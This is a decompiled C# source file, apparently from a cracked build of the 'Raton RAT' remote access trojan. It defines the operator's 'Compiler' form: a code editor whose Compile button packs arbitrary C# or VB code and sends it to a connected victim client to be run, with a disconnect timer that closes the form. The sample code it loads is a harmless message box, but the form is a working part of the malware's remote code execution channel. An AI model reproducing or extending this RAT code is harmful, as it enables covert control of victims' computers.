Files
raton4.0-source/Raton RAT/Raton/Forms/ClientForms/Compilers/ratonCS.cs
T
2026-08-27 11:23:13 -06:00

147 lines
5.6 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Compilers.ratonCS
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using FastColoredTextBoxNS;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Compilers;
public class ratonCS : Form
{
private IContainer components;
private FastColoredTextBox fastColoredTextBox1;
private RgbBuildButton button1;
private Timer timer1;
public SillyClient SillyClient { get; set; }
public string lang { get; set; }
public ratonCS()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonCS_Load(object sender, EventArgs e)
{
this.timer1.Start();
if (this.lang == "cs")
{
this.fastColoredTextBox1.Language = Language.CSharp;
this.fastColoredTextBox1.Text = "using System;\r\nusing System.Windows.Forms;\r\n\r\npublic class Program\r\n{\r\n [STAThread]\r\n public static void Main()\r\n {\r\n MessageBox.Show(\"Hello from Raton!\", \"Message\");\r\n }\r\n}";
}
else
{
this.fastColoredTextBox1.Language = Language.VB;
this.fastColoredTextBox1.Text = "Imports System\r\nImports System.Windows.Forms\r\n\r\nModule Program\r\n Sub Main()\r\n MessageBox.Show(\"Hello from Raton!\", \"Message\")\r\n End Sub\r\nEnd Module";
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void button1_Click(object sender, EventArgs e)
{
string str = this.fastColoredTextBox1.Text.Replace("\r\n", "\n");
Pack pack = new Pack();
pack.SetString("Packet", "Compiler");
pack.SetString("Type", this.lang);
pack.SetString("Code", str);
this.SillyClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Code sent successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonCS));
this.fastColoredTextBox1 = new FastColoredTextBox();
this.button1 = new RgbBuildButton();
this.timer1 = new Timer(this.components);
((ISupportInitialize) this.fastColoredTextBox1).BeginInit();
this.SuspendLayout();
this.fastColoredTextBox1.AutoCompleteBracketsList = new char[10]
{
'(',
')',
'{',
'}',
'[',
']',
'"',
'"',
'\'',
'\''
};
this.fastColoredTextBox1.AutoScrollMinSize = new Size(179, 14);
this.fastColoredTextBox1.BackBrush = (Brush) null;
this.fastColoredTextBox1.CharHeight = 14;
this.fastColoredTextBox1.CharWidth = 8;
this.fastColoredTextBox1.Cursor = Cursors.IBeam;
this.fastColoredTextBox1.DisabledColor = Color.FromArgb(100, 180, 180, 180);
this.fastColoredTextBox1.Font = new Font("Courier New", 9.75f);
this.fastColoredTextBox1.IsReplaceMode = false;
this.fastColoredTextBox1.Location = new Point(-2, -1);
this.fastColoredTextBox1.Name = "fastColoredTextBox1";
this.fastColoredTextBox1.Paddings = new Padding(0);
this.fastColoredTextBox1.SelectionColor = Color.FromArgb(60, 0, 0, (int) byte.MaxValue);
this.fastColoredTextBox1.ServiceColors = (ServiceColors) componentResourceManager.GetObject("fastColoredTextBox1.ServiceColors");
this.fastColoredTextBox1.Size = new Size(757, 514);
this.fastColoredTextBox1.TabIndex = 0;
this.fastColoredTextBox1.Text = "fastColoredTextBox1";
this.fastColoredTextBox1.Zoom = 100;
this.button1.Cursor = Cursors.Arrow;
this.button1.Dock = DockStyle.Bottom;
this.button1.Font = new Font("Segoe UI Semibold", 11.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.button1.ForeColor = Color.White;
this.button1.Icon = (Image) Resources.ic_fluent_code_24_filled;
this.button1.IconSize = 25;
this.button1.IconSpacing = 8;
this.button1.Location = new Point(0, 510);
this.button1.Name = "button1";
this.button1.Size = new Size(755, 50);
this.button1.TabIndex = 2;
this.button1.Text = "Compile";
this.button1.Click += new EventHandler(this.button1_Click);
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(755, 560);
this.Controls.Add((Control) this.fastColoredTextBox1);
this.Controls.Add((Control) this.button1);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonCS);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonCS);
this.Load += new EventHandler(this.ratonCS_Load);
((ISupportInitialize) this.fastColoredTextBox1).EndInit();
this.ResumeLayout(false);
}
}